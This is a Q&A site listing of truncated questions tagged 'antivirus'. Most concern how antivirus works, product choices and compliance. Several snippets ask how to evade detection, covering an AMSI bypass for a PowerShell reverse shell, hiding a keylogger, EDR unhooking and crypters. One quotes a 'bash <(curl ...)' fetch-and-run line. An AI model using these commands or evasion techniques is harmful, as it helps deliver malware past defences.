Questions tagged [antivirus]

Antivirus or anti-virus software is used to prevent, detect, and remove malware, including but not limited to computer viruses, computer worm, trojan horses, spyware and adware.

Filter by
Sorted by
Tagged with
2
votes
1answer
45 views

Would an anti-virus software make any other processes consume more CPU?

Would an anti-virus software make any other processes that it scans to consume more CPU? We recently switched to a new Next-Gen, AI based Anti-Virus software. On couple of our Linux servers that runs ...
0
votes
2answers
56 views

Does antivirus software detect screen grabbing functionality in a running program?

Let's say a malicious actor publishes a piece of software that calls a screenshot function (e.g. Graphics.CopyFromScreen() or the UIAutomation Framework in .NET) every so often, but doesn't notify ...
0
votes
0answers
43 views

Which Antivirus and Anti-malware should I use? [closed]

After being attacked by KOTI ransomware, I've resolved to install one antivirus and one anti-malware in my laptop but I'm faced with the challenge of choice between Kaspersky, Bit Defender or Norton ...
2
votes
5answers
197 views
+50

What are the benefits of enabling antivirus full scanning?

If AV auto-scan will detect and prevent the malware from executing why there is a need to enable schedule/full scans? I'm asking because a full scan can create sometimes overhead on the machine and ...
1
vote
0answers
70 views

Bypass AMSI Windows 10

I'm trying to run a powershell reverse shell on windows 10. Anyway everytime it is blocked by Wndows Defender. How can I bypass it? In a file I store the payload $client = New-Object System.Net....
0
votes
0answers
38 views

Shell scripts scanning tools

It has become common trend to use shell scripts from the web and directly run them: bash <(curl -sL some.random.website.com) I always view the script before running them. However, shell scripts ...
0
votes
0answers
44 views

Why does Kaspersky blocks a website saying untrusted root center

Why does Kaspersky antivirus blocks the website saying that it has untrusted root center when the root CA is Kasperksy itself and also the certificate status seems to be "OK". Figure-1 shows the ...
0
votes
1answer
70 views

Securely analyze and format a USB flash drive

I need to scan the contents of a USB stick with several antivirus software. I have several ways to do this. Either I mount the key, I scan its contents (I may place the suspicious files in ...
1
vote
1answer
53 views

What is the difference between a server and an appliance for PCI purposes?

I administer a few hundred servers and am going through a yearly PCI audit. This time around we need to prove that we've got anti-virus protection on our "systems commonly affected by malicious ...
2
votes
1answer
126 views

Is malware programmed in high-level language will be more detected than malware programmed in low-level language?

I would like to know if a simple malware designed to execute commands received by a C&C will have the same result rate if programmed in : lower-language like C++ high-language like Python (...
1
vote
0answers
110 views

Program compiled with mingw32 is reported as infected

I'm using a Linux system and cross-compiling to Win32. The most trivial Windows source code ("Hello world" by Petzold), when compiled using i686-w64-mingw32-gcc (gcc version 7.3-win32 20180312), ...
2
votes
1answer
82 views

As a Software Industry Editor, how to avoid my software being quarantined?

I'm a well established software company. For more than 30 years, my business has been delivering both hardware and software. My Windows software is being quarantined by some of my customer's ...
0
votes
3answers
282 views

How can Avast detect threats when I install Kali on VirtualBox?

I was installing Kali on VirtualBox on a W7 host, and during the upgrading/installation, Avast detected two threats in the Mimikatz package. My question is, how can Avast "see" through the VM? Is he ...
1
vote
0answers
12 views

How does Antivirus identify virus using signature-base? [duplicate]

I have read many articles about AV signature-based but I'm still not clear how AV using Hash to compared with the signature.
0
votes
1answer
55 views

Does a Windows 10 endpoint check software installations for malware if they are installed through GPO / SCCM / Software Center?

I'm trying to get a view on what extra security checks our packaging team could do when they download a potentially infected installer from the web before they package an MSI or EXE (assuming that the ...
0
votes
2answers
98 views

Is it secure to use TOR with AVAST antivirus?

Today when I opened an incognito session in Chrome Browser, I got an immediate pop-up from Avast antivirus: Should I be concerned that my antivirus is acting like spyware? I sometimes use the TOR ...
0
votes
0answers
49 views

How to test an enterprise antivirus

In our enterprise we have an antivirus solution but we are evaluating to pass to another solution. What could be a good strategy to test on our enviroment what antivirus solution works better?
1
vote
1answer
61 views

Antivirus/DPI Solution with openvpn server

I wish to set up a system that I log into with openVPN on my Raspberry Pi 4. I have already set up an openVPN server with a PKI infrastructure as well as other services that run on the Pi (like pi ...
2
votes
2answers
223 views

Why is VirusTotal “unable to process file type” for files packed with Mpress?

Packed an AutoHotkey script with ahk2exe using MPress, got 13 hits on the VirusTotal online scan for the zipped result. Packed the same script with the same ahk2exe without MPress and got just 6 hits ...
0
votes
0answers
28 views

Behavior Monitoring in Endpoint Protection Platform

There are some EPP solutions that are considered very innovative (Crowdstrike, SentinelOne...) for the use of Behavior Monitoring. What is the difference with more standard EPP solution (ex. Symantec ...
0
votes
2answers
101 views

How to securely transfer files from a possibly infected WinXP machine to Linux?

There is an old Windows XP installation that was being used without even an antivirus. This WinXP computer has files. These files are important and should be moved to a Linux installation. Given the ...
1
vote
1answer
143 views

Pfsense security issues?

I have used pfsense before as the main gateway, load balancer, traffic shaping, proxy, firewall, virus/malware protection, enterprise wifi solution for an entire office of 50+ users. Yet I have ...
0
votes
1answer
83 views

Are there virus scanners for Windows that can be run without installation? [closed]

I wonder if there are virus scanners that can be run without installation. It would be very practical. Simply insert the USB pen drive and scan... It would be good if the scanner also detects malware....
0
votes
2answers
175 views

Can antivirus software detect if your PC is hooked to BeEF?

I recently discovered BeEF with which someone can gain access to another PC through XSS. I was wondering if antivirus software can detect when a PC get's hooked to BeEF.. An online search doesn't ...
0
votes
1answer
77 views

How to check big video file if can't check it entirely?

There size limit on VirusTotal, some videos are very big. What if cut off part from the video and send part of it. Is it possible? What part of it, where malware can be?
21
votes
2answers
4k views

How to remove quarantined virus securely?

There is a file found by antivirus program and it was put into the virus' quarantine section (its not a false positive). Now I don't know how to handle this "quarantined" files. What is the best ...
1
vote
2answers
161 views

Is it really necessary to remove other antivirus software before installing one?

I am currently trying to install Kaspersky Total Security, but it persistently asks me to uninstall all other antivirus software: McAfee Security Scan Plus and Avast Software(Free). They claim their ...
5
votes
4answers
350 views

How dangerous can a file be with no detected malware?

Let's say there is file which successfully passed all scans by all antivirus software there is on VirusTotal. Does it mean that it can't be dangerous. If no, what kind of dangers we can expect?
0
votes
1answer
256 views

Bypassing Windows Defender VBA custom code

I've recently written a simple keylogger using classic DLL-injection technique. I wanted to simulate a real phishing attack where the user opens an Office document with macros and by enabling them he ...
3
votes
3answers
245 views

Why is a fully-patched OS less important than AV?

How to explain to traditional people why they should upgrade their old Windows XP device? <- The interesting point made in the highest upvoted answer to this Q is that a fully patched OS is largely ...
2
votes
1answer
79 views

Wannacry testing in lab - Not getting SMB scan attempts

So I booted up two windows 7 64bit sp1 versions in virtualbox and shared their network and the operating systems are vulnerable to the SMB exploit that the wannacry ransomware is using. The Issue is ...
1
vote
3answers
185 views

If we integrate CDR in our email solution, do we really need Sandbox as well?

In the case of social engineering attack vector is an email sent with a malicious attachment like XSL file, I am not really understanding where we will need Sandbox solution if we can just use CDR (...
2
votes
1answer
178 views

Would my USB interface be infected if I attached and immediately detached an infected USB device?

Two days ago, someone gave me their pen drive to copy some songs from. As soon as I inserted the drive into my laptop's USB interface, Windows Defender immediately warned me that the drive was ...
5
votes
1answer
263 views

Can a virus that's in a file stream infect a computer?

I have a java web application that accepts base64 image strings from users. These strings are first converted to a byte stream after which the stream is scanned for viruses. After that the file is ...
1
vote
2answers
100 views

Should Anti Virus and Anti Malware layer be the first layer in web application stack or can it seat behind services?

Can you have Anti Virus and Anti Malware layer sitting deep with the microservice layer and have the malicious file flow through all the services ? Argument being the file is in memory and not getting ...
0
votes
0answers
22 views

Kaspersky detection locally 3 years old file, clean on virus total. Compromised? [duplicate]

I just got a warning on a file locally: Weird, as I have this program for like 2 o 3 years, Just before got cleaned, I upload to virus total, totally clean on cloud. https://www.virustotal.com/gui/...
0
votes
1answer
97 views

Can Avast check my WI-FI password for strength?

I've been greeted by this popup this morning: Can Avast actually check my WI-FI password for strength? Or is it just "marketing scare" so that I upgrade to the paid version instead of using the free ...
0
votes
2answers
78 views

Python Antivirus comparing hashes [closed]

I'm writing an antivirus in python mostly to learn and for research purposes, I do understand it would be more efficient to do this in something like C and eventually I will port this over. So far I ...
1
vote
0answers
92 views

How can you stay safe from spyware used by governments? [closed]

It is a fact that antivirus software can't detect all the spyware/viruses/malware that exist. And when they get detected, new ones are created. An example is the pegasus spyware for ios created by ...
1
vote
0answers
75 views

FYP ideas in Applications of Machine Learning in Cyber Security domain [closed]

I am a Computer Science Engineering undergraduate aspiring to pursue a career in the field of cyber security. I have some experience in web application security, memory and network forensics fields. I ...
0
votes
1answer
201 views

“Harmless” script which downloads malicious script

What if I code a program without malicious code which would pass in every antivirus scan and after the virus scan and user giving special rights to it, it downloads and executes the real virus? Since ...
1
vote
0answers
68 views

Defense Evasion - Unhooking Windows API

Since most of EDR vendor hook userland APIs, Is Unhooking Windows API or DLL Unhooking is the best way to bypass EDR Protection?
2
votes
0answers
470 views

ClamAV Bytecode run timed out

I have the following output by ClamAV: Starting a daily scan of /root directory. Amount of data to be scanned is 205M. Starting a daily scan of /var/www directory. Amount of data to be scanned is ...
-2
votes
1answer
155 views

How long is a typical malware signature?

I read in Peter Szor's Art of Computer Virus Research and Defense that, in the past, a 16-byte malware signature was sufficient to 16-bit detect malware, but that longer signatures are necessary for ...
2
votes
1answer
240 views

What are the best practices for anti-virus / anti-malware when using containers?

One of the SOC 2 controls is apparently around ensuring antivirus/anti-spam/anti-malware is running on production servers. I've been googling to see if there are any recommendation/best practices for ...
3
votes
1answer
186 views

How does malware evade initial discovery?

I've been reading a lot about polymorphic and metamorphic malware and how they evade signature-based detection once they have been discovered. These techniques seem to be utilized to evade recurrent ...
0
votes
2answers
631 views

How do i scan my AWS S3 buckets for malicious content/objects?

I am setting up AWS SFTP which uses s3 to store files. I am setting up sftp to exchange files with third party organisations. When i receive files i want to ensure no malicious content is received. ...
1
vote
0answers
659 views

How unwise is it to exclude WSL from Windows Defender?

Windows Defender often takes up a significant amount of CPU time due to I/O operations in WSL. For example, if I'm working on web development and using tools like npm or yarn, downloading packages ...
4
votes
1answer
356 views

What are some of the benign use cases of injecting bytes into another process and creating remote thread?

Lets say, you are developing an AV, and marked any type of injecting into another process (for example openning it and writing to it) and creating remote thread malicious. If so, what will be some of ...
0
votes
1answer
287 views

How can Runtime-Crypters stay FUD

A Runtime Crypter always works with the same principle: It decrypts its payload, starts up a process in suspended state, inserts the payload and resumes the suspended process under false flag. All ...

1
2 3 4 5
13